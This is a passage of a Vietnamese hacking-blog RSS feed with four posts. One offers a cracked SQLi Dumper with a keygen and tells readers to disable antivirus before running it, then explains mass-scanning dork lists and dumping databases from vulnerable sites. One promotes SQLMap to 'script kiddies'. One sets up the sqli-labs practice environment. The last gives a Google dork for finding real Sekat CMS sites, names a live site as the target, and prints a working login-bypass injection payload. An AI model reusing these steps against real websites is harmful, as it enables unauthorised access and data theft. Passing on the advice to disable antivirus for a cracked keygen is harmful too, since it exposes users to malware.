<p><strong>SQLi Dumper</strong> là 1 phần mềm chuyên dùng để khai thác lỗi SQL. Bạn có thể dùng để khai thác lỗi hàng loạt trang web khác nhau</p>
<p><strong>Các tính năng chính:</strong></p>
<ul>
<li>Hỗ trợ đa luồng. Công cụ tìm kiếm trực tuyến (để tìm các tính năng);</li>
<li>Tự động khai thác và phân tích từ danh sách URL;</li>
<li>Tự động tìm kiếm dữ liệu trong danh sách URL số lượng lớn;</li>
<li>Trình phân tích tự động cho các điểm tiêm bằng URL, POST, Cookies, UserLogin hoặc UserPassword;</li>
<li>Dumper hỗ trợ kết xuất dữ liệu với đa luồng (cơ sở dữ liệu/bảng/cột/tìm nạp dữ liệu);</li>
<li>Khai thác hỗ trợ lên đến 100 luồng;</li>
<li>Trình phân tích và Dumper hỗ trợ các luồng lên tới 50;</li>
<li>Phương pháp bỏ qua WAF nâng cao;</li>
<li>Hộp truy vấn tùy chỉnh nâng cao;</li>
<li>Dumper có thể kết xuất một lượng lớn dữ liệu, với khả năng kiểm soát độ trễ của từng yêu cầu (đa luồng);</li>
<li>Dễ dàng chuyển lỗ hổng sang lỗ hổng;</li>
<li>Hỗ trợ danh sách proxy;</li>
<li>Cơ sở dữ liệu GeoIP;</li>
<li>Cơ sở dữ liệu nội bộ;</li>
<li>Hệ thống thùng rác;</li>
<li>Công cụ tìm đăng nhập của quản trị viên;</li>
<li>Hasher cracker trực tuyến;</li>
<li>IP đảo ngược;</li>
<li>.Exe độc ​​lập (không cài đặt).</li>
</ul>
<h1><span style="color: #800080;"><span style="font-size: 24px;"><b>Tải phần mềm + Crack</b></span></span></h1>
<h2><strong><span style="color: #800080;"><span style="font-size: 14pt;">Tải phần mềm</span></span></strong></h2>
<p style="text-align: center;"><span style="text-decoration: underline;"><a href="http://www.fshare.vn/file/DXAESJ19VF9N" target="_blank" rel="noopener"><strong><span style="font-size: 12pt;">Download SQLi Dumper v10.1 Cracked</span></strong></a></span></p>
<h2><strong><span style="color: #800080;"><span style="font-size: 14pt;">Cách crack</span></span></strong></h2>
<p><span style="color: #000000;"><strong><span style="font-size: 12pt;">Bước 1: </span></strong><span style="font-size: 12pt;">Bật file keygen để lấy key</span></span></p>
<p style="text-align: center;"><img decoding="async" class="alignnone size-medium " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-2-300x72.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 76" width="300" height="72" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 94"></p>
<p><span style="font-size: 12pt;"><strong><span style="color: #000000;">Bước 2:</span></strong><span style="color: #000000;"> Chạy chương trình và paste đoạn key vào</span></span></p>
<p><strong><span style="color: #000000;"><span style="font-size: 12pt;">Chú ý: khi bật file keygen lên thì các bạn hãy tắt các phần mềm bảo vệ máy tính vì những phần mềm này nhận diện nhầm là có chứa virus</span></span></strong></p>
<h2><strong><span style="color: #800080;"><span style="font-size: 18pt;">Cách sử dụng SQLi Dumper v10.1</span></span></strong></h2>
<p><strong><span style="color: #000000;"><span style="font-size: 12pt;">Bước 1: </span></span></strong><span style="color: #000000;"><span style="font-size: 12pt;">mở phần mềm lên</span></span></p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-3-300x169.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 77" width="557" height="314" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 95"></p>
<p><strong>Bước 2:</strong> đây là giao diện chính của phần mềm</p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-1-300x162.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 78" width="555" height="300" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 96"></p>
<p>Ở dưới là list dork dùng để quét:</p>
<p style="text-align: center;"><span style="font-size: 12pt;"><strong>Dork quét site</strong></span></p>
<p style="text-align: center;">
<div class="su-button-center"><a href="http://123link.io/6KfoFdO" class="su-button su-button-style-bubbles" style="color:#ffffff;background-color:#0099CC;border-color:#007ba4;border-radius:77px" target="_blank" rel="noopener noreferrer"><span style="color:#ffffff;padding:10px 34px;font-size:25px;line-height:38px;border-color:#4db8dc;border-radius:77px;text-shadow:2px 2px 8px #0099CC"><i class="sui sui-paw" style="font-size:25px;color:#ffffff"></i> List dork ở đây</span></a></div>
<p><span style="font-size: 12pt;"><span style="color: #000000;"><strong>Bước 3: </strong>Sau khi đã có dork, các bạn paste vô, chọn start scanner và bắt đầu quét</span></span></p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/sqli-1-1-300x162.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 79" width="548" height="296" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 97"></p>
<p><strong>Bước 4:</strong> Sau khi đã quét đủ, các bạn chuyển sang trang Exploitables và chọn start Exploitables để quét tiếp</p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-4-300x162.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 80" width="545" height="294" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 98"></p>
<p style="text-align: left;"><strong>Bước 5:</strong> Sau khi đi quét xong, chuyển sang Injectables và chọn start Analyzer để check site lỗi</p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-5-300x162.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 81" width="561" height="303" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 99"></p>
<p style="text-align: left;"><strong><span style="font-size: 12pt;">Bước 6: </span></strong><span style="font-size: 12pt;">Sau khi đã có site lỗi thì click chuột phải và chọn go to dumper </span></p>
<p style="text-align: center;"><img decoding="async" class="alignnone " src="https://anonyviet.com/wp-content/uploads/2017/10/SQLi-6-300x162.png" alt="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 82" width="559" height="302" title="Download SQLi Dumper v10.1 Full - Tool khai thác lỗi SQL Injection 100"></p>
<p><strong>Ở đây:</strong></p>
<ul>
<li>Đầu tiên chọn databases để lấy data</li>
<li>tiếp theo, chọn get columns để lấy column</li>
<li>cuối cùng, tích vào các dòng và chọn dump data để lấy thông tin</li>
</ul>
<p style="text-align: right;"><strong>MK-39</strong></p>
<p style="text-align: right;"><span style="font-size: 12pt;"><strong>Chúc các bạn thành công</strong></span></p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQLi Dumper v10.1 là gì và nó dùng để làm gì?</h3>
<p>SQLi Dumper v10.1 là một phần mềm dùng để khai thác lỗi SQL Injection trên các trang web.  Nó có khả năng tự động tìm kiếm, phân tích và trích xuất dữ liệu từ các website có lỗ hổng này.</p>
<h3>Tôi cần làm gì để sử dụng SQLi Dumper v10.1?</h3>
<p>Sau khi tải và cài đặt (crack) phần mềm, bạn cần nhập key,  sử dụng các dork để quét trang web, phân tích các điểm yếu và cuối cùng sử dụng chức năng dumper để trích xuất dữ liệu.</p>
<h3>Việc sử dụng SQLi Dumper có an toàn không?</h3>
<p>Việc sử dụng SQLi Dumper để khai thác các hệ thống mà bạn không được phép truy cập là bất hợp pháp. Hãy chỉ sử dụng công cụ này trên các hệ thống mà bạn có quyền truy cập hợp pháp để kiểm tra tính bảo mật.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/sqli-dumper-cracked-phan-mem-khai-thac-loi-sql-nhanh-chong-va-hieu-qua/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>SQLMap v1.2.9 &#8211; Công cụ khai thác lỗ hổng SQL Injection mạnh nhất</title>
		<link>https://anonyviet.com/sqlmap-v1-2-9-sql-injection/</link>
					<comments>https://anonyviet.com/sqlmap-v1-2-9-sql-injection/#comments</comments>
		
		<dc:creator><![CDATA[Lmint]]></dc:creator>
		<pubDate>Tue, 11 Sep 2018 11:12:13 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[cách hack web]]></category>
		<category><![CDATA[công cụ hack web mới nhất]]></category>
		<category><![CDATA[hack website]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[khai thác lỗ hổng bảo mật]]></category>
		<category><![CDATA[phần mềm hack]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqlmap]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=11159</guid>

					<description><![CDATA[Hôm nay chúng ta lại nói về chuyện Hacking bằng một công cụ cũ nhưng mới. Lố hổng SQL Injection đã xuất hiện từ lâu và đã khá quen thuộc với chúng ta. Tuy nhiên, cái lỗi này tuy cũ nhưng vẫn luôn nguy hiểm cho bất cứ website nào mắc phải. Nguyên nhân là [&#8230;]]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Hôm nay chúng ta lại nói về chuyện Hacking bằng một công cụ cũ nhưng mới. Lố hổng SQL Injection đã xuất hiện từ lâu và đã khá quen thuộc với chúng ta. Tuy nhiên, cái lỗi này tuy cũ nhưng vẫn luôn nguy hiểm cho bất cứ website nào mắc phải.</strong></p>
<p>Nguyên nhân là so sự thiếu cẩn thận trong quá trình viết code xử lý dữ liệu cho website. Lỗ hổng này thường được các Script Kiddie tận dụng để phá phách. À mà, nếu bạn chưa biết Script Kidde là để ám chỉ ai? thì vui lòng đọc <a href="https://anonyviet.com/script-kiddie-nhung-ke-tu-xung-hacker/" target="_blank" rel="noopener">tại đây</a>.</p>
<p>Lỗi này cho phép người xâm nhập yêu cầu máy chủ gởi trả dữ liệu mà không đăng nhập. Vậy bạn nghĩ sao nếu thông tin về tài khoản quản trị bị yêu cầu gửi về cho Hacker? Có phải là cả trang web sẽ đi toi với cái trò này của tên Hacker hay không?</p>
<h2>Tận dụng SQLMap để tìm lỗ hổng SQL Injection</h2>
<p>Bạn không cần phải nhọc nhằn học từng dòng lệnh như xưa và cũng không mất quá nhiều thời gian. Nếu bạn là một <a href="https://anonyviet.com/script-kiddie-nhung-ke-tu-xung-hacker/" target="_blank" rel="noopener">Script Kidde</a> ? Bạn chắc hẳn sẽ rất thích <strong>SQLMap </strong>và những gì nó có thể làm cho bạn. Trước hết, mình xin giải thích sơ qua về SQLMap cho bạn nào chưa biết.</p>
<h3>SQLMap là gì?</h3>
<p>Đây là một công cụ giúp bạn khai thác những lỗ hổng liên quan đến SQL nhanh chóng. Công cụ này được xem là vũ khí mạnh nhất về mảng khai thác lỗ hổng SQL này. Khi học Hacking thì chắc chắn bạn phải sử dụng nó không ít thì nhiều.</p>
<p>Nó có nhiều tính năng thích hợp cho trình kiểm tra thâm nhập SQL và một loạt các công cụ chuyển nhánh tự động để lấy dấu cơ sở dữ liệu để tìm nạp dữ liệu từ cơ sở dữ liệu. Hỗ trợ truy cập vào hệ thống tệp cơ bản và thực thi lệnh trên hệ điều hành thông qua kết nối ngoài băng thông.</p>
<p>Nghĩa là khi xâm nhập được, bạn sẽ có thể thao tác với dữ liệu của họ thông qua đường truyền mạng.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2018/09/sqlMap.png" alt="SQLMap khai thác lỗ hổng SQL Injection" width="640" height="483" title="SQLMap v1.2.9 - Công cụ khai thác lỗ hổng SQL Injection mạnh nhất 102"></p>
<p>Hệ điều hành <strong>Kali Linux</strong> hoặc <strong>Back Track 5</strong> thì đã được tích hợp sẵn SQLMap. Nhưng còn Windows thì bạn phải cài đặt thêm Python và SQLMAP để sử dụng. Bởi vì SQLMap được viết bằng Python và cần có thư viện Python trong máy tính để chạy.</p>
<h3>Cài đặt Python</h3>
<p>Như đã nói ở trên, để sử dụng được SQLMap thì bạn phải có thư viện Python trong máy tính. Bạn có thể tải và cài đặt thư viện Python tại trang chủ <a href="https://www.python.org/" target="_blank" rel="noopener">https://www.python.org/</a> (Nên cài phiên bản từ 2.7 trở lên).</p>
<h2>SQLMap v1.2.9 có gì mới</h2>
<p>Đây là một vũ khí đã tồn tại lâu đời qua nhiều phiên bản. Nhưng hiện nay, nó vừa được cập nhật lên phiên bản 1.2.9 với nhiều tính năng mới. Cụ thể thông tin về những tính năng mới trong bản cập nhật lần này là:</p>
<ul>
<li>Hỗ trợ đầy đủ cho các hệ thống quản lý cơ sở dữ liệu <strong>MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB</strong> và<strong> Informix.</strong></li>
<li>Hỗ trợ đầy đủ cho sáu kỹ thuật SQL Injection: <strong>boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band</strong>.</li>
<li>Cho phép kết nối trực tiếp tới cơ sở dữ liệu mà không cần truyền qua SQL injection. Bạn chỉ cần nhập vào thông tin đăng nhập DBMS, địa chỉ IP, Port và tên Database mà bạn muốn kết nối. (Cái này mình thích à nha)</li>
<li>Hỗ trợ liệt kê người dùng, băm mật khẩu, đặc quyền, vai trò, cơ sở dữ liệu, bảng và cột.</li>
<li>Giúp bạn bẻ khoá mã băm của mật khẩu người dùng. Nghĩa là bạn có thể giải mã ngược và lấy được mật khẩu của bất cứ người dùng nào mà bạn muốn.</li>
<li>Cho phép sao chép (backup) lại cơ sở dữ liệu theo ý bạn.</li>
<li>Cung cấp Full quyền điều khiển cơ sở dữ liệu khi xâm nhập thành công.</li>
<li>Cho phép bạn Download và Upload File thoải mái lên Database cực nhanh chóng.</li>
</ul>
<p>Còn một vài tính năng đặc biệt nữa mà mình chưa liệt kê. Bạn tự trải nghiệm và tận hưởng với phiên bản mới này nhé. Bây giờ mình sẽ hướng dẫn cài đặt SQLMap (nhớ cài Python trước).</p>
<h2>Cài đặt SQLMap</h2>
<p>Bạn có thể tải về File nén trực tiếp tại 1 trong 2 link dưới đây.</p>
<p style="text-align: center;">
<div class="su-button-center"><a href="https://github.com/sqlmapproject/sqlmap/tarball/master" class="su-button su-button-style-flat" style="color:#fff;background-color:#469dea;border-color:#387ebc;border-radius:0px" target="_blank" rel="noopener noreferrer"><span style="color:#fff;padding:7px 22px;font-size:17px;line-height:26px;border-color:#7ebbf1;border-radius:0px;text-shadow:0.2px 0.2px 0.5px "><i class="sui sui-cloud-download" style="font-size:17px;color:#FFFFFF"></i> Link 1</span></a></div>
<p style="text-align: center;">
<div class="su-button-center"><a href="https://github.com/sqlmapproject/sqlmap/zipball/master" class="su-button su-button-style-flat" style="color:#fff;background-color:#469dea;border-color:#387ebc;border-radius:0px" target="_blank" rel="noopener noreferrer"><span style="color:#fff;padding:7px 22px;font-size:17px;line-height:26px;border-color:#7ebbf1;border-radius:0px;text-shadow:0.2px 0.2px 0.5px "><i class="sui sui-cloud-download" style="font-size:17px;color:#FFFFFF"></i> Link 2</span></a></div>
<p>Ngoài ra, bạn có thể sử dụng lệnh <strong>Git </strong>để Clone bản chính từ nhà sản xuất về.</p>
<pre class="theme:cg-cookie lang:default decode:true ">git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev</pre>
<h2>Cách sử dụng</h2>
<p>Sử dụng lệnh dưới đây để hiển thị các lệnh cơ bản trong <strong>SQLMap v1.2.9</strong></p>
<pre class="theme:cg-cookie lang:default decode:true ">python sqlmap.py -h</pre>
<p>Từ những câu lệnh được liệt kê, bạn có thể tra thêm trên Google về ý nghĩa của chúng nếu muốn hiểu sâu hơn. Vì các câu lệnh của nó rất là nhiều với các chức năng khác nhau. Mình không thể nói hết trong 1 bài này được.</p>
<p style="text-align: right;">Chúc bạn thành công<br />
Lmint</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQLMap là gì và tại sao nó lại hữu ích?</h3>
<p>SQLMap là một công cụ mã nguồn mở mạnh mẽ dùng để kiểm tra và khai thác lỗ hổng SQL Injection.  Nó tự động hóa quá trình, giúp tiết kiệm thời gian và công sức cho người dùng trong việc phát hiện và khai thác các lỗ hổng này.</p>
<h3>Tôi cần cài đặt gì để sử dụng SQLMap?</h3>
<p>Để sử dụng SQLMap, bạn cần cài đặt Python (phiên bản 2.7 trở lên) trên hệ thống của mình.  SQLMap được viết bằng Python và cần có môi trường Python để hoạt động.</p>
<h3>SQLMap hỗ trợ những hệ quản trị cơ sở dữ liệu nào?</h3>
<p>SQLMap hỗ trợ một loạt các hệ quản trị cơ sở dữ liệu phổ biến, bao gồm MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB và Informix.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/sqlmap-v1-2-9-sql-injection/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Thực hành khai thác lỗi SQL injection với Sqli-labs</title>
		<link>https://anonyviet.com/khai-thac-loi-sql-injection-voi-sqli-labs/</link>
					<comments>https://anonyviet.com/khai-thac-loi-sql-injection-voi-sqli-labs/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 11 Aug 2018 09:28:06 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[bảo mật]]></category>
		<category><![CDATA[khai thác lỗ hỏng]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[sqli-labs]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=10738</guid>

					<description><![CDATA[SQL injection là một phương pháp cho phép hacker lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào của Website và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection giúp cho [&#8230;]]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>SQL injection là một phương pháp cho phép hacker lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào của Website và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection giúp cho các Hacker thực hiện các lệnh như select, insert, update, delete v.v. ngay trên trình duyệt web, thậm chí là server mà ứng dụng đó đang chạy.</strong></p>
<p style="text-align: justify;">Mặc dù, đã trải qua rất nhiều năm kể từ khi lỗ hổng SQLi đầu tiên được phát hiện.SQLi vẫn là lỗ hổng rất phổ biến trong ứng dụng web. Hầu như các vụ đánh cắp thẻ tín dụng (CC) đều được khai thác từ lỗ hổng này. Trước đây các Shop bán hàng Online hầu như bị khai thác SQL injection để đánh cắp thông tin của người mua hàng. Bây giờ thì đỡ hơn nhiều rồi.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-04-35-54.png"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-04-35-54.png" alt="sqli" width="740" height="391" title="Thực hành khai thác lỗi SQL injection với Sqli-labs 106"></a></p>
<p style="text-align: justify;">Nhằm mục đích trau dồi kỹ năng phát hiện lỗ hổng SQLi. Thành viên DDos (của diễn đàn WhiiteHat) giới thiệu tới các bạn sqli-labs project. Project này bao gồm 65 bài lab khác nhau với độ khó tăng dần. Nội dung của sqli-labs bao gồm gần như tất cả các con đường có thể dẫn tới lỗi SQLi như: GET/POST request, User-Agent&#8230;</p>
<h2 style="text-align: justify;">Thực hành khai thác lỗi SQL injection với Sqli-labs</h2>
<p>Để cài đặt sqli-lab, các bạn cần:</p>
<ul>
<li>PHP</li>
<li>MySQL</li>
<li>Apache server</li>
</ul>
<p>Bạn có thể cài phần mềm <a href="https://www.apachefriends.org/download.html" target="_blank" rel="nofollow noopener">Xamp (bản 5.6) </a>hoặc <a href="https://www.ampps.com/download" target="_blank" rel="nofollow noopener">Ampp </a>để giả lập môi trường PHP, MySQL trên Windows. Hoặc thực hành ngay trên máy ảo Linux (Centos, Ubuntu, Kali Linux).</p>
<p><strong><span style="color: #0000ff;">Mình sẽ hướng dẫn các bạn thực hành trên Windows với phần mềm giả lập Xampp.</span></strong></p>
<p><strong><span style="font-size: 14pt;">Bước 1</span>:</strong> Tải <strong><a href="https://www.apachefriends.org/download.html" target="_blank" rel="nofollow noopener">Xamp (dùng bản 5.6)</a></strong>về và tiến hành cài đặt như bình thường.</p>
<p>Xóa tất cả các file trong thư mục: <strong>C:\xampp\htdocs</strong></p>
<p><span style="font-size: 14pt;"><strong>Bước 2:</strong> </span>Mở Xampp Contorl Panel lên</p>
<p>Nhấn vào nút<strong> Start</strong> Apache, MySQL. (Nếu Start không được thì xem cách fix lỗi ở <a href="https://hoangluyen.com/hai-cach-sua-loi-apache-khong-start-duoc-trong-xampp/" target="_blank" rel="nofollow noopener">bài này)</a></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-03-42-24.png"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-03-42-24.png" alt="Sqli-labs" width="553" height="363" title="Thực hành khai thác lỗi SQL injection với Sqli-labs 107"></a></p>
<p><span style="font-size: 14pt;"><strong>Bước 3:</strong></span> Bạn tải gói cài đặt Sqli-labs tại link bên dưới</p>
<p style="text-align: center;">
<div class="su-button-center"><a href="https://codeload.github.com/Audi-1/sqli-labs/zip/master" class="su-button su-button-style-flat" style="color:#fff;background-color:#469dea;border-color:#387ebc;border-radius:0px" target="_blank" rel="noopener noreferrer"><span style="color:#fff;padding:7px 22px;font-size:17px;line-height:26px;border-color:#7ebbf1;border-radius:0px;text-shadow:0.2px 0.2px 0.5px "><i class="sui sui-cloud-download" style="font-size:17px;color:#FFFFFF"></i> Download Sqli-labs</span></a></div>
<p><span style="font-size: 14pt;"><strong>Bước 4</strong>:</span> Giải nén file vừa tải về, và copy vào thư mục <strong>C:\xampp\htdocs</strong></p>
<p><span style="font-size: 14pt;"><strong>Bước 5: </strong></span>Truy cập vào đường dẫn <strong>http://localhost</strong> trên trình duyệt Web.</p>
<p>Click vào <span style="color: #e4287c;">Setup/reset Database for labs </span>để bắt đầu cài đặt dữ liệu cho Sqli-labs</p>
<p>Nếu bạn thấy như hình bên dưới thì đã cài thành công.<a href="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-04-22-19.png"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2018/08/11-08-2018-04-22-19.png" alt="Sqli-labs" width="738" height="462" title="Thực hành khai thác lỗi SQL injection với Sqli-labs 108"></a></p>
<p><strong>Bước 6:</strong> Quay trở lại trang chủ localhost và click vào <span style="color: #ff0040; font-size: 14pt;">SQLi-LABS Page-1<i>(Basic Challenges)</i></span> để bắt đầu học từ bài 1.</p>
<p>Nếu bạn cảm thấy khó khăn trong việc thực hành các bài tập của SQLi-Labs, hãy xem các kênh <a href="https://www.youtube.com/watch?v=du-jkS6-sbo&amp;list=PLkiAz1NPnw8qEgzS7cgVMKavvOAdogsro" target="_blank" rel="nofollow noopener">hướng dẫn trên Youtube</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Sqli-labs là gì và tôi có thể sử dụng nó để làm gì?</h3>
<p>Sqli-labs là một dự án bao gồm 65 bài thực hành với độ khó tăng dần, giúp bạn học cách phát hiện và khai thác lỗ hổng SQL injection.  Nó giúp trau dồi kỹ năng bảo mật web.</p>
<h3>Tôi cần cài đặt những gì để sử dụng Sqli-labs?</h3>
<p>Bạn cần có PHP, MySQL và Apache server.  Bạn có thể sử dụng XAMPP hoặc AMPP để dễ dàng cài đặt môi trường này trên Windows.</p>
<h3>Nếu tôi gặp khó khăn khi sử dụng Sqli-labs, tôi có thể tìm hỗ trợ ở đâu?</h3>
<p>Bạn có thể tham khảo các hướng dẫn trên YouTube để tìm hiểu thêm về cách sử dụng Sqli-labs và giải quyết các vấn đề gặp phải.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/khai-thac-loi-sql-injection-voi-sqli-labs/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Hướng dẫn khai thác lỗ hổng của Sekat CMS</title>
		<link>https://anonyviet.com/huong-dan-khai-thac-lo-hong-cua-sekat-cms/</link>
					<comments>https://anonyviet.com/huong-dan-khai-thac-lo-hong-cua-sekat-cms/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 18 Mar 2017 14:42:56 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[Sekat CMS]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=4839</guid>

					<description><![CDATA[Sekat CMS hiện đang bị lỗ hổng SQL Injection, chỉ với một vài thủ thuật nhỏ, bạn có thể truy cập vào quyền quản trị Admin của Website, mà không cần phải tốn nhiều thời gian để khai thác. Mình đi thẳng vào vấn đề luôn nhé Bước 1: Tìm các Website sử dụng Sket [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Sekat CMS hiện đang bị lỗ hổng SQL Injection, chỉ với một vài <span style="color: #000000;"><a style="color: #000000;" href="https://anonyviet.com">thủ thuật</a></span> nhỏ, bạn có thể truy cập vào quyền quản trị Admin của Website, mà không cần phải tốn nhiều thời gian để khai thác.</strong></p>
<p>Mình đi thẳng vào vấn đề luôn nhé</p>
<p><span style="color: #008080; font-size: 14pt;"><strong>Bước 1:</strong></span> Tìm các <span style="color: #008000;">Website </span>sử dụng <span style="color: #33cccc;">Sket CMS</span> bằng Google</p>
<p>Nhập lệnh tìm kiếm dưới đây vào Google Search</p>
<pre class="lang:default decode:true">intext:"Developed by Sekat Technologies" -site:https://cxsecurity.com
</pre>
<p>&nbsp;</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2017/03/1-1.jpg"><img decoding="async" class="td-modal-image   aligncenter" src="https://anonyviet.com/wp-content/uploads/2017/03/1-1.jpg" alt="Hướng dẫn khai thác lỗ hổng của Sekat CMS 87" width="414" height="182" title="Hướng dẫn khai thác lỗ hổng của Sekat CMS 113"></a></p>
<p><span style="font-size: 14pt;"><strong><span style="color: #008080;">Bước 2:</span></strong></span> Chọn bất kỳ 1 <span style="color: #008000;">Website</span> được liệt kê trong Google</p>
<p>Mình sẽ chọn trang: <span style="color: #0000ff;">http://unstccs.com</span> để Test</p>
<p><span style="color: #008080; font-size: 14pt;"><strong>Bước 3:</strong></span> Truy cập vào Weblogin Admin bằng Link dưới</p>
<p><span class="td_text_highlight_marker_blue td_text_highlight_marker" style="color: #3366ff;">http://tênwebiste.com<span style="color: #ffff00;">/member_login.php</span></span></p>
<p><span style="color: #800080;">Cụ thể sẽ là:</span></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2017/03/2-1.jpg"><img decoding="async" class="alignnone  size-full" src="https://anonyviet.com/wp-content/uploads/2017/03/2-1.jpg" alt="Hướng dẫn khai thác lỗ hổng của Sekat CMS 88" width="829" height="34" title="Hướng dẫn khai thác lỗ hổng của Sekat CMS 114"></a></p>
<p><span style="color: #008080; font-size: 14pt;"><strong>Bước 4: </strong></span><span style="color: #000000;"><a style="color: #000000;" href="https://anonyviet.com" target="_blank" rel="noopener">Khai thác lỗi</a> đăng nhậ</span>p bằng điền <span style="color: #800080;">User</span> và <span style="color: #0000ff;">Pass</span> như bên dưới:</p>
<pre class="lang:default decode:true">Username: '=' 'or'
Password: '=' 'or'</pre>
<p><a href="https://anonyviet.com/wp-content/uploads/2017/03/3-1.jpg"><img decoding="async" class="  aligncenter" src="https://anonyviet.com/wp-content/uploads/2017/03/3-1.jpg" alt="Hướng dẫn khai thác lỗ hổng của Sekat CMS 89" width="269" height="209" title="Hướng dẫn khai thác lỗ hổng của Sekat CMS 115"></a></p>
<p><strong><span style="color: #008080; font-size: 14pt;">Bước 5:</span></strong> Truy cập được vào quyền Admin, việc tiếp theo là của các bạn</p>
<p>Chỉ nên dùng để học tập, đừng phá người khác nhé</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2017/03/4-1.jpg"><img decoding="async" class=" aligncenter" src="https://anonyviet.com/wp-content/uploads/2017/03/4-1.jpg" alt="Hướng dẫn khai thác lỗ hổng của Sekat CMS 90" width="532" height="354" title="Hướng dẫn khai thác lỗ hổng của Sekat CMS 116"></a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/huong-dan-khai-thac-lo-hong-cua-sekat-cms/feed/</wfw:commentRss>
			<slash:comments>12</slash:comments>
		
		
			</item>
	</channel>
</rss>
